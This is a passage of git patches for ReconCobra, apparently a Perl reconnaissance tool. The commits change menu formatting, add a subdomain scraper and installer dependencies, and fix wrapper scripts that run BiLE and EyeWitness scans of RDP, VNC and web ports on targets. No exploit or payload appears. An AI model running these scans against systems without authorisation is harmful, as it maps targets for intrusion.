color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($eufi=); @@ -1043,7 +1043,7 @@ sub menu { enter(); }if($number eq '38'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($eufs=); @@ -1052,7 +1052,7 @@ sub menu { enter(); }if($number eq '39'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($euff=); @@ -1061,7 +1061,7 @@ sub menu { enter(); }if($number eq '40'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($efpifs=); @@ -1070,7 +1070,7 @@ sub menu { enter(); }if($number eq '41'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($eifc=); @@ -1079,7 +1079,7 @@ sub menu { enter(); }if($number eq '42'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fchsld=); @@ -1088,7 +1088,7 @@ sub menu { enter(); }if($number eq '43'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fuss=); @@ -1097,7 +1097,7 @@ sub menu { enter(); }if($number eq '44'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fdfr=); @@ -1106,7 +1106,7 @@ sub menu { enter(); }if($number eq '45'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fafu=); @@ -1115,7 +1115,7 @@ sub menu { enter(); }if($number eq '46'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fafes=); @@ -1124,7 +1124,7 @@ sub menu { enter(); }if($number eq '47'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cloud=); @@ -1133,7 +1133,7 @@ sub menu { enter(); }if($number eq '48'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($dnsh=); @@ -1142,7 +1142,7 @@ sub menu { enter(); }if($number eq '49'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); #chomp($dnsh=); @@ -1151,7 +1151,7 @@ sub menu { enter(); }if($number eq '50'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($pasds=); @@ -1160,7 +1160,7 @@ sub menu { enter(); }if($number eq '51'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cvt=); @@ -1169,7 +1169,7 @@ sub menu { enter(); }if($number eq '52'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($rlu=); @@ -1178,7 +1178,7 @@ sub menu { enter(); }if($number eq '53'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($fdl=); @@ -1187,7 +1187,7 @@ sub menu { enter(); }if($number eq '54'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($wineni=); @@ -1196,7 +1196,7 @@ sub menu { enter(); }if($number eq '55'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($winipc=); @@ -1205,7 +1205,7 @@ sub menu { enter(); }if($number eq '56'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($wfn=); @@ -1214,7 +1214,7 @@ sub menu { enter(); }if($number eq '57'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($wtn=); @@ -1223,7 +1223,7 @@ sub menu { enter(); }if($number eq '58'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($ips=); @@ -1232,7 +1232,7 @@ sub menu { enter(); }if($number eq '59'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cloud=); @@ -1241,7 +1241,7 @@ sub menu { enter(); }if($number eq '60'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website (caution: This may take a while)";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website (caution: This may take a while)";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($dnscache=); @@ -1250,7 +1250,7 @@ sub menu { enter(); }if($number eq '61'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter IP Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter IP Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($cmswaf=); @@ -1259,7 +1259,7 @@ sub menu { enter(); }if($number eq '62'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); chomp($sharedns=); @@ -1268,7 +1268,7 @@ sub menu { enter(); }if($number eq '63'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); print "\n"; @@ -1276,7 +1276,7 @@ sub menu { enter(); }if($number eq '64'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); print "\n"; @@ -1284,7 +1284,7 @@ sub menu { enter(); }if($number eq '65'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); print "\n"; @@ -1292,7 +1292,7 @@ sub menu { enter(); }if($number eq '66'){ banner(); - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Address";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); print "\n"; @@ -3005,16 +3005,17 @@ sub item sub line_u { return - color('bold cyan'),"#---------------------------------------------------------------------------------------# \n", - "# # \n"; + color('bold cyan'),"#-------------------------------------------------------------------# \n", + "# # \n"; } sub line_d { return - color('bold cyan'),"# # \n", - "#---------------------------------------------------------------------------------------# \n"; + color('bold cyan'),"# # \n", + color('bold cyan'),"#-------------------------------------------------------------------# ", + " "; } #--------------------------------------------------------------# # ~~The End~~ # From ca47ae9428fef0cf7e5f81ed3b4434fec0191051 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:08:53 +0500 Subject: [PATCH 035/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 1d10116..421e52e 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1507,7 +1507,7 @@ sub Findiplocation { #4 Port Scanner # #--------------------------------------------------------------# sub port { - print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); + print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nC0bra: _> "; print color('bold white'); chop ($op = ); From ffd4874efa766debeff94202c109899fad1076c4 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:27:57 +0500 Subject: [PATCH 036/272] Add files via upload --- sub1.pl | 47 +++++++++++++++++++++++++++++++++++++++++++++++ sub1.sh | 2 ++ 2 files changed, 49 insertions(+) create mode 100644 sub1.pl create mode 100644 sub1.sh diff --git a/sub1.pl b/sub1.pl new file mode 100644 index 0000000..2774ee1 --- /dev/null +++ b/sub1.pl @@ -0,0 +1,47 @@ +#!/usr/bin/perl +use HTTP::Request; +use LWP::Simple; +use LWP::UserAgent; +use IO::Socket::INET; +use Term::ANSIColor; +use IO::Select; +use HTTP::Response; +use HTTP::Request::Common qw(POST); +use HTTP::Request::Common qw(GET); +use URI::URL; + +# CODE START ###### +my $ua = LWP::UserAgent->new; +$ua = LWP::UserAgent->new(keep_alive => 1); +$ua->agent("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"); +print color("bold Green")," \n\n Enter domain: "; +chomp($site8=); + +if ($site8) { subdomain(); } +sub subdomain { + $url = "https://www.pagesinventory.com/search/?s=$site8"; + $request = $ua->get($url); + $response = $request->content; + + $ip= (gethostbyname($site8))[4]; + my ($a,$b,$c,$d) = unpack('C4',$ip); + $ip_address ="$a.$b.$c.$d"; + if($response =~ /Search result for/){ + print "Website: $site8\n"; + print "IP: $ip_address\n\n"; + + while($response =~ m/(.*?)/g ) { + print "Subdomain: $1\n"; + print "IP: $3\n"; + open(OUT, ">>subdomains_links.txt"); print OUT "$1\n, $3\n"; close(OUT); + sleep(1); + } + }elsif($ip_address =~ /[0-9]/){ + if($response =~ /Nothing was found/){ + print ,"Website: $site8\n"; + print ,"IP: $ip_address\n"; + print ,"No Subdomains Found For This Domain\n"; + }}else { + print "\nThere Is A Problem\n"; + } +} \ No newline at end of file diff --git a/sub1.sh b/sub1.sh new file mode 100644 index 0000000..4e5cf4e --- /dev/null +++ b/sub1.sh @@ -0,0 +1,2 @@ +#!/bin/bash +perl sub1.pl \ No newline at end of file From ab329ffa5676a9cee520fa563cdd39b1c2e83db2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:28:36 +0500 Subject: [PATCH 037/272] Add files via upload --- ReconCobra.pl | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 421e52e..c7b7a97 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -752,7 +752,7 @@ sub menu { print color('bold white'); chomp($sub=); print "\n"; - subdomain(); + DNS_Whois_Lookup(); enter(); }if($number eq '6'){ banner(); @@ -1841,22 +1841,27 @@ sub Metadatagoogler { #17 Subdomain Scanner # #--------------------------------------------------------------# sub Subdomainscanner { -if (system("./shaheenx.sh") == 0) { + print item(),"1 - Start Search Engine Subdomain Scanner\n"; + print item(),"2 - Try Pages Inventory\n"; + print item(),"Enter Search Engine: "; + chomp($enter=); +if ($enter =~1) { + if (system("./ShaheenX.sh") == 0) { print "success!\n"; } else { print "[~] Make ShaheenX.sh available in same folder\n[~] Command failed\n"; - } - -if (system("./sub1.sh") == 0) { +} +} +if ($enter =~2) { + if (system("./sub1.sh") == 0) { print "success!\n"; } else { print "[~] Make sub1.sh available in same folder\n[~] Command failed\n"; } - } - +} #--------------------------------------------------------------# From 0a475e0cc4911a11abe94b16af2c1bc9182df6aa Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:29:27 +0500 Subject: [PATCH 038/272] Add files via upload --- installer.sh | 4 ++++ termuxinstaller.sh | 9 +++++++-- 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/installer.sh b/installer.sh index 58492a1..28fff4f 100644 --- a/installer.sh +++ b/installer.sh @@ -58,6 +58,9 @@ echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP echo -e "$red [$green+$red]$off Checking directories..." if [ -d "/usr/share/ReconCobra" ]; then @@ -94,6 +97,7 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python3 echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git diff --git a/termuxinstaller.sh b/termuxinstaller.sh index 974c20c..8795be2 100644 --- a/termuxinstaller.sh +++ b/termuxinstaller.sh @@ -23,7 +23,7 @@ clear echo "Ultimate Recon and Foot Printing Software Version 1.0a"; -echo "Termux Installer By: Hacker_Universe / Haroon Awan"; +echo "Termux Installer By: Hacker_Universe"; echo "Coded By: Haroon Awan"; echo "Mail: mrharoonawan@gmail.com"; echo ""; @@ -55,6 +55,10 @@ echo "y" | cpan install Data::Dumper echo "y" | cpan install Win32::Console::ANSI echo "y" | cpan install HTML::TableExtract echo "y" | cpan install Data::Validate::Domain +echo "y" | cpan install LWP::Protocol::https +echo "y" | cpan install Mozilla::CA +echo "y" | cpan install Bundle::LWP + echo -e "Installing dependencies ..."; echo "y" | apt-get install xdg-utils @@ -63,6 +67,7 @@ echo "y" | apt-get install hping3 echo "y" | apt-get install python echo "y" | apt-get install golang echo "y" | apt-get install curl +echo "y" | apt-get install perl-LWP-Protocol-https echo "y" | git clone https://github.com/haroonawanofficial/cobra.git echo "y" | git clone https://github.com/haroonawanofficial/maahro.git echo "y" | git clone https://github.com/haroonawanofficial/ShaheenX.git @@ -86,4 +91,4 @@ chmod u+x setup.sh ./setup.sh cd .. chmod u+x *.sh -echo -e "Installed, run perl ReconCobra.pl for interface!"; +echo -e "Installed, run perl ReconCobra.pl for interface!"; \ No newline at end of file From 1de8310c44e64784a939beeaa0692f88e5e28fcd Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:52:55 +0500 Subject: [PATCH 039/272] Add files via upload --- ReconCobra.pl | 6 +++--- browser.sh | 6 ++++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index c7b7a97..05ef674 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -876,7 +876,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($brtd=); + #chomp($brtd=); print "\n"; Brutedomain(); enter(); @@ -894,7 +894,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($cfe=); + #chomp($cfe=); print "\n"; Configerrors(); enter(); @@ -1886,7 +1886,7 @@ sub Brutedomain { print "success!\n"; } else { - print "[~] Make Maahro available in same folder\n[~] Command failed\n"; + print "[~] Make maahro.sh available in same folder\n[~] Command failed\n"; } } diff --git a/browser.sh b/browser.sh index 21bf147..2046df4 100644 --- a/browser.sh +++ b/browser.sh @@ -9,8 +9,10 @@ OKORANGE='\033[93m' DELAY=1 RESET='\e[0m' -if [ -z $TARGET ]; then - echo -e "$OKORANGE + -- --=[Usage: browser.sh $RESET" +echo "[ + ] Enter Url" +read URL +if [ -z $URL ]; then + echo -e "$OKORANGE + browser.sh URL $RESET" exit fi From f13570f440d4728b6bd1937f58f5adb7ebbfaec2 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:56:14 +0500 Subject: [PATCH 040/272] Add files via upload --- ReconCobra.pl | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 05ef674..5195c7a 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -903,7 +903,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($fasn=); + #chomp($fasn=); print "\n"; Findasn(); enter(); @@ -1939,6 +1939,7 @@ sub Findnetblock { } else { print "[~] Make netblock.sh in same folder\n[~] Command failed\n"; + print "[~] Did you forgot to create input.txt file for nmap\n"; } } From 3e15364fd2881ea98c9e01c01b9785b90874787c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 19:59:05 +0500 Subject: [PATCH 041/272] Update screenshot.sh --- screenshot.sh | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/screenshot.sh b/screenshot.sh index 0edb3f7..1346b3e 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -1,3 +1,6 @@ #!/bin/bash echo "Hint: Do Port Scan before using this tool" -eyewitness -f /root/urls.txt -d screens --headless --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' \ No newline at end of file +echo "Hint: Do Net Block Scan before using this tool" +cd EyeWitness +python EyeWitness -f /root/urls.txt -d screens --headless --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' +cd .. From f552d69e2d30d97bec8f870549070d44164acedb Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:00:25 +0500 Subject: [PATCH 042/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 5195c7a..67538d4 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -1948,7 +1948,7 @@ sub Findnetblock { #24 Capture Screenshots # #--------------------------------------------------------------# sub Capturescreenshots { -if (system("./screenshost.sh") == 0) { +if (system("./screenshot.sh") == 0) { print "success!\n"; } else { From 9adfbeba19d6501047bb8e3877184a48b77cda4a Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:01:01 +0500 Subject: [PATCH 043/272] Update screenshot.sh --- screenshot.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/screenshot.sh b/screenshot.sh index 1346b3e..30a67a4 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -2,5 +2,5 @@ echo "Hint: Do Port Scan before using this tool" echo "Hint: Do Net Block Scan before using this tool" cd EyeWitness -python EyeWitness -f /root/urls.txt -d screens --headless --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' +python EyeWitness.py -f /root/urls.txt -d screens --headless --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' cd .. From c58e144672702fd4ed8baa2a757d560a714eb17c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:03:26 +0500 Subject: [PATCH 044/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index 67538d4..d07b14c 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -921,7 +921,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($cpshots=); + #chomp($cpshots=); print "\n"; Capturescreenshots(); enter(); From ba77149835a51879bae1418a3704b708d5862d17 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:03:32 +0500 Subject: [PATCH 045/272] Update screenshot.sh --- screenshot.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/screenshot.sh b/screenshot.sh index 30a67a4..1d44874 100644 --- a/screenshot.sh +++ b/screenshot.sh @@ -2,5 +2,5 @@ echo "Hint: Do Port Scan before using this tool" echo "Hint: Do Net Block Scan before using this tool" cd EyeWitness -python EyeWitness.py -f /root/urls.txt -d screens --headless --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' +python EyeWitness.py -f /root/urls.txt -d screens --rdp --web --vnc --active-scan --add-http-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' --add-https-ports '21,25,80,137,139,443,445,8000,8080,8090,9000,9001,8443,3389,3306' cd .. From b1054d80d09f47bfc30922f20fb690e85f50f638 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:04:53 +0500 Subject: [PATCH 046/272] Update bile.sh --- bile.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bile.sh b/bile.sh index 845a551..5fb5984 100644 --- a/bile.sh +++ b/bile.sh @@ -1,5 +1,7 @@ #!/bin/bash +cd BiLE-suite echo "Enter Target" read Target perl bile-weigh.pl $Target sp_bile_out.txt.mine out.txt perl bile-weigh.pl $Target sp_bile_out.txt.mine out.txt +cd .. From f07d169456a8a432a0a3d16fdc31c4ecd795fe9c Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:05:08 +0500 Subject: [PATCH 047/272] Update ReconCobra.pl --- ReconCobra.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ReconCobra.pl b/ReconCobra.pl index d07b14c..f3ca6ca 100644 --- a/ReconCobra.pl +++ b/ReconCobra.pl @@ -930,7 +930,7 @@ sub menu { print line_u(),color('bold cyan'),"# ";print color('reset'),item(),"Enter Target Website/IP";print color('bold cyan')," # \n",line_d(); print color('bold green'),"\n\nc0bra: _> "; print color('bold white'); - chomp($findnear=); + #chomp($findnear=); print "\n"; nearestvictim(); enter(); From 29bde32356db8d378214f3bfedc34b4f477de8c8 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:06:23 +0500 Subject: [PATCH 048/272] Update bile.sh --- bile.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bile.sh b/bile.sh index 5fb5984..0c2ec1a 100644 --- a/bile.sh +++ b/bile.sh @@ -2,6 +2,6 @@ cd BiLE-suite echo "Enter Target" read Target -perl bile-weigh.pl $Target sp_bile_out.txt.mine out.txt -perl bile-weigh.pl $Target sp_bile_out.txt.mine out.txt +perl BiLE.pl $Target out.txt +perl BiLE-weigh.pl $Target sp_bile_out.txt.mine out.txt cd .. From ed3ccb679448f25c1f11277aa4a8df253466ec36 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Wed, 19 Jun 2019 20:08:19 +0500 Subject: [PATCH 049/272] Update bile.sh --- bile.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bile.sh b/bile.sh index 0c2ec1a..bbb0f20 100644 --- a/bile.sh +++ b/bile.sh @@ -3,5 +3,5 @@ cd BiLE-suite echo "Enter Target" read Target perl BiLE.pl $Target out.txt -perl BiLE-weigh.pl $Target sp_bile_out.txt.mine out.txt +perl BiLE-weigh.pl sp_bile_out.txt.mine out.txt cd .. From f260028bd49a6d64690a49338e5e3bd3147b34c5 Mon Sep 17 00:00:00 2001 From: Haroon Awan <39236904+haroonawanofficial@users.noreply.github.com> Date: Thu, 20 Jun 2019 14:41:58 +0500 Subject: [PATCH 050/272] Add files via upload --- nmapcommonscan.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nmapcommonscan.sh b/nmapcommonscan.sh index d7e5798..7badadb 100644 --- a/nmapcommonscan.sh +++ b/nmapcommonscan.sh 